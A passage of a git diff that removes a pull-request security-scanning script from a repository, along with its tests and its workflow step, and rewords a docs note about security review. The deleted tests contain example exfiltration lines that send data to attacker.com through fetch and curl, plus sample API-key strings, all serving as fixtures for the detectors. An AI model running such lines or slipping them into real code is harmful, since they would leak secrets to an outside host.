behaviour. -export const SCRIPT_WATCHDOG_MS = 90_000; - -export function startScriptWatchdog(timeoutMs = SCRIPT_WATCHDOG_MS, exit = process.exit) { - const timer = setTimeout(() => { - console.warn( - `[security] script exceeded ${timeoutMs}ms wall-clock budget; exiting 0 per always-exit-0 contract` - ); - exit(0); - }, timeoutMs); - // Don't keep the event loop alive solely for the watchdog. - timer.unref?.(); - return timer; -} - -async function main() { - const watchdog = startScriptWatchdog(); - - const { GH_TOKEN, GH_REPO, PR_NUMBER } = process.env; - - if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) { - console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER required'); - process.exit(1); - } - - // Sanitize inputs before use in URL construction (prevents SSRF) - const prNumber = parseInt(PR_NUMBER, 10); - if (!Number.isInteger(prNumber) || prNumber <= 0) { - console.error('ERROR: PR_NUMBER must be a positive integer'); - process.exit(1); - } - if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) { - console.error('ERROR: GH_REPO must be in owner/repo format'); - process.exit(1); - } - - // Validate SENSITIVE_PATHS — fails loudly if any have been refactored away on the PR base branch - const stalePaths = await validateSensitivePaths(GH_TOKEN, GH_REPO, prNumber); - if (stalePaths.length > 0) { - console.error('ERROR: Stale sensitive paths in check-pr-security.mjs:'); - for (const p of stalePaths) console.error(` - ${p}`); - console.error(''); - console.error('These paths no longer exist on the PR base branch. The security gate will silently produce no signal for them.'); - console.error('Update SENSITIVE_PATHS in check-pr-security.mjs to reflect the current code structure.'); - process.exit(1); - } - - const [pr, files] = await Promise.all([ - ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN), - fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN), - ]); - - const allFlags = [ - ...scanSecrets(files), - ...scanCITampering(files), - ...scanBuildScripts(files), - ...scanSupplyChain(files), - ...scanTestPatterns(files), - ...scanSensitivePaths(files), - ]; - - if (allFlags.length > 0) { - console.error(`[security] ${allFlags.length} flag(s) detected — creating draft advisory and pending check run`); - await Promise.all([ - syncDraftAdvisory(ghFetch, GH_TOKEN, GH_REPO, prNumber, pr.title, allFlags), - postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, true), - ]); - } else { - console.log('[security] all clear'); - await postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, false); - } - - // Always exit 0 — security flags are silent, never block the PR publicly - clearTimeout(watchdog); - process.exit(0); -} - -if (process.argv[1] === fileURLToPath(import.meta.url)) { - main().catch(e => { console.error(e.message); process.exit(1); }); -} diff --git a/.github/scripts/tests/check-pr-security.test.mjs b/.github/scripts/tests/check-pr-security.test.mjs deleted file mode 100644 index 637e2c50b45..00000000000 --- a/.github/scripts/tests/check-pr-security.test.mjs +++ /dev/null @@ -1,380 +0,0 @@ -import { test } from 'node:test'; -import assert from 'node:assert/strict'; -import { - buildAdvisoryPayload, - findExistingDraftAdvisory, - postSecurityCheckRun, - scanSecrets, - scanCITampering, - scanBuildScripts, - scanSupplyChain, - scanTestPatterns, - scanSensitivePaths, - startScriptWatchdog, - syncDraftAdvisory, - validateSensitivePaths, -} from '../check-pr-security.mjs'; -import { ghFetch } from '../get-bot-token.mjs'; - -// ── scanSecrets ────────────────────────────────────────────────────────────── - -test('scanSecrets: flags OpenAI key in added line', () => { - const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }]; - assert.ok(scanSecrets(files).length > 0); -}); - -test('scanSecrets: flags AWS key in added line', () => { - const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }]; - assert.ok(scanSecrets(files).length > 0); -}); - -test('scanSecrets: ignores removed lines', () => { - const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }]; - assert.equal(scanSecrets(files).length, 0); -}); - -test('scanSecrets: ignores files without patch', () => { - assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0); -}); - -// ── scanCITampering ────────────────────────────────────────────────────────── - -test('scanCITampering: flags workflow file changes', () => { - const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }]; - assert.ok(scanCITampering(files).length > 0); -}); - -test('scanCITampering: ignores non-workflow files', () => { - const files = [{ filename: 'src/foo.ts', status: 'modified' }]; - assert.equal(scanCITampering(files).length, 0); -}); - -test('scanCITampering: ignores removed workflow files', () => { - const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }]; - assert.equal(scanCITampering(files).length, 0); -}); - -// ── scanBuildScripts ───────────────────────────────────────────────────────── - -test('scanBuildScripts: flags changes to release.sh', () => { - const files = [{ filename: 'scripts/release.sh', status: 'modified' }]; - assert.ok(scanBuildScripts(files).length > 0); -}); - -test('scanBuildScripts: ignores non-CI scripts', () => { - const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }]; - assert.equal(scanBuildScripts(files).length, 0); -}); - -// ── scanSupplyChain ────────────────────────────────────────────────────────── - -test('scanSupplyChain: flags net-new packages in lockfile', () => { - const patch = `@@ -1,3 +1,4 @@ - packages: -+ 'evil-package@1.0.0': - 'existing-package@2.0.0': -- 'old-package@1.0.0': -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.ok(flags.length > 0); - assert.ok(flags[0].packages.includes('evil-package')); -}); - -test('scanSupplyChain: does not flag version-only bumps', () => { - const patch = `@@ -1,3 +1,3 @@ - packages: -- 'existing-package@1.0.0': -+ 'existing-package@2.0.0': -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - assert.equal(scanSupplyChain(files).length, 0); -}); - -test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => { - const patch = `@@ -1,2 +1,3 @@ -+evil-package@1.0.0: - existing-package@2.0.0: -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]); -}); - -test('scanSupplyChain: ignores peer suffixes when matching package names', () => { - const patch = `@@ -1,2 +1,2 @@ --@scope/pkg@1.0.0(react@18.2.0): -+@scope/pkg@2.0.0(react@18.2.0): -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - assert.equal(scanSupplyChain(files).length, 0); -}); - -test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => { - const patch = `@@ -1,2 +1,3 @@ -+evil-package@1.0.0(react@18.2.0): - existing-package@2.0.0: -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]); -}); - -test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => { - const calls = []; - const fakeFetch = async (path) => { - calls.push(path); - if (/[?&]page=1(?:&|$)/.test(path)) { - return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` })); - } - if (/[?&]page=2(?:&|$)/.test(path)) { - return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }]; - } - return []; - }; - - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - - assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' }); - assert.equal(calls.length, 2); -}); - -test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => { - const fakeFetch = async () => [{ summary: 'Completely different advisory' }]; - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - assert.equal(advisory, null); -}); - -test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => { - let pageCount = 0; - const fakeFetch = async () => { - pageCount += 1; - return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` })); - }; - - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - - assert.equal(advisory, null); - assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`); -}); - -test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => { - const calls = []; - const flags = [ - { check: 'ci-tampering', file: '.github/workflows/pr.yml' }, - { check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' }, - ]; - - await syncDraftAdvisory(async (path, token, options) => { - calls.push({ path, token, options }); - if (path.includes('/security-advisories?state=draft')) { - return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }]; - } - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags); - - assert.equal(calls.length, 2); - assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234'); - assert.equal(calls[1].options.method, 'PATCH'); - const patchBody = JSON.parse(calls[1].options.body); - const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags); - assert.deepEqual(patchBody, expectedPatch); - assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)'); -}); - -test('syncDraftAdvisory: creates a new advisory when none exists', async () => { - const calls = []; - const flags = [{ check: 'supply-chain', packages: ['evil-package'] }]; - - await syncDraftAdvisory(async (path, token, options) => { - calls.push({ path, token, options }); - if (path.includes('/security-advisories?state=draft')) { - return []; - } - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags); - - assert.equal(calls.length, 2); - assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories'); - assert.equal(calls[1].options.method, 'POST'); - assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags)); -}); - -test('postSecurityCheckRun: uses the injected fetch implementation', async () => { - const calls = []; - - await postSecurityCheckRun(async (path, token, options) => { - calls.push({ path, token, options }); - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 'deadbeef', true); - - assert.equal(calls.length, 1); - assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs'); - assert.equal(calls[0].options.method, 'POST'); - assert.deepEqual(JSON.parse(calls[0].options.body), { - name: 'security-review', - head_sha: 'deadbeef', - status: 'completed', - conclusion: 'neutral', - output: { - title: 'Security Review Recommended', - summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.', - }, - }); -}); - -test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => { - const seenPaths = []; - const stale = await validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'release/1.2', - async (path) => { - seenPaths.push(path); - return { ok: true }; - }, - ); - - assert.deepEqual(stale, []); - assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2'))); - assert.ok(!seenPaths.some(path => path.includes('ref=master'))); -}); - -test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => { - let seen404 = false; - const stale = await validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'main', - async (path) => { - if (!seen404) { - seen404 = true; - throw new Error('GitHub API GET /contents/foo → 404: missing'); - } - return { ok: true }; - }, - ); - - assert.equal(stale.length, 1); - - await assert.rejects( - validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'main', - async () => { - throw new Error('GitHub API GET /contents/foo → 500: boom'); - }, - ), - /500: boom/ - ); -}); - -// ── scanTestPatterns ───────────────────────────────────────────────────────── - -test('scanTestPatterns: flags outbound fetch in test file', () => { - const files = [{ - filename: 'src/foo.test.ts', - patch: `+ const res = await fetch('https://attacker.com/collect')`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -test('scanTestPatterns: flags execSync in test file', () => { - const files = [{ - filename: 'src/foo.test.ts', - patch: `+ execSync('curl https://attacker.com?data=' + secret)`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -test('scanTestPatterns: ignores suspicious patterns in non-test files', () => { - const files = [{ - filename: 'src/api.ts', - patch: `+ const res = await fetch('https://api.example.com')`, - }]; - assert.equal(scanTestPatterns(files).length, 0); -}); - -test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => { - const files = [{ - filename: 'src/__tests__/foo.ts', - patch: `+ execSync('curl https://attacker.com?data=' + secret)`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -// ── scanSensitivePaths ─────────────────────────────────────────────────────── - -test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => { - const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => { - const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => { - const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: ignores unrelated paths', () => { - const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }]; - assert.equal(scanSensitivePaths(files).length, 0); -}); - -test('scanSensitivePaths: ignores removed files even on sensitive paths', () => { - const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }]; - assert.equal(scanSensitivePaths(files).length, 0); -}); - -// ── startScriptWatchdog ────────────────────────────────────────────────────── - -test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => { - let exitCode = null; - const fakeExit = (code) => { exitCode = code; }; - startScriptWatchdog(20, fakeExit); - await new Promise((resolve) => setTimeout(resolve, 60)); - assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now'); -}); - -test('startScriptWatchdog: cleared timer never fires', async () => { - let exitCode = null; - const fakeExit = (code) => { exitCode = code; }; - const timer = startScriptWatchdog(20, fakeExit); - clearTimeout(timer); - await new Promise((resolve) => setTimeout(resolve, 60)); - assert.equal(exitCode, null, 'cleared watchdog must not call exit'); -}); - -// ── ghFetch timeout ────────────────────────────────────────────────────────── - -test('ghFetch: aborts the request when the per-call timeout elapses', async () => { - const originalFetch = globalThis.fetch; - // Replace global fetch with one that respects the AbortSignal but never resolves on its own. - globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => { - init?.signal?.addEventListener('abort', () => { - const err = new Error('aborted'); - err.name = 'AbortError'; - reject(err); - }, { once: true }); - }); - - try { - const start = Date.now(); - await assert.rejects( - ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }), - /aborted|abort/i, - ); - const elapsed = Date.now() - start; - assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`); - } finally { - globalThis.fetch = originalFetch; - } -}); diff --git a/.github/workflows/commitperclip-review.yml b/.github/workflows/commitperclip-review.yml index 6b712277294..485e269eefa 100644 --- a/.github/workflows/commitperclip-review.yml +++ b/.github/workflows/commitperclip-review.yml @@ -9,7 +9,6 @@ on: permissions: pull-requests: write - security-events: write checks: write contents: read @@ -55,16 +54,6 @@ jobs: PR_AUTHOR: ${{ github.event.pull_request.user.login }} PR_BRANCH: ${{ github.event.pull_request.head.ref }} - - name: Run security gates - run: node .github/scripts/check-pr-security.mjs - continue-on-error: true - timeout-minutes: 3 - env: - GH_TOKEN: ${{ steps.token.outputs.value }} - GH_REPO: ${{ github.repository }} - PR_NUMBER: ${{ github.event.pull_request.number }} - PR_AUTHOR: ${{ github.event.pull_request.user.login }} - - name: Fail if quality gates failed if: >- github.event.pull_request.user.login != 'dependabot[bot]' && diff --git a/docs/adapters/codex-local.md b/docs/adapters/codex-local.md index 683d6b22b9f..7311e79ffb6 100644 --- a/docs/adapters/codex-local.md +++ b/docs/adapters/codex-local.md @@ -131,10 +131,10 @@ fleet with ChatGPT-subscription credentials. classification in rather than making `codex-home.ts` inspect execution targets on its own. -Because the warning touches authentication behavior, implementation must go -through the security-review gate. Treat this docs section as the follow-up -implementation spec, not as authorization to add the warning in a docs-only -change. +Because the warning touches authentication behavior, its implementation +needs a maintainer security review before merge. Treat this docs section as +the follow-up implementation spec, not as authorization to add the warning in +a docs-only change. ## Manual Local CLI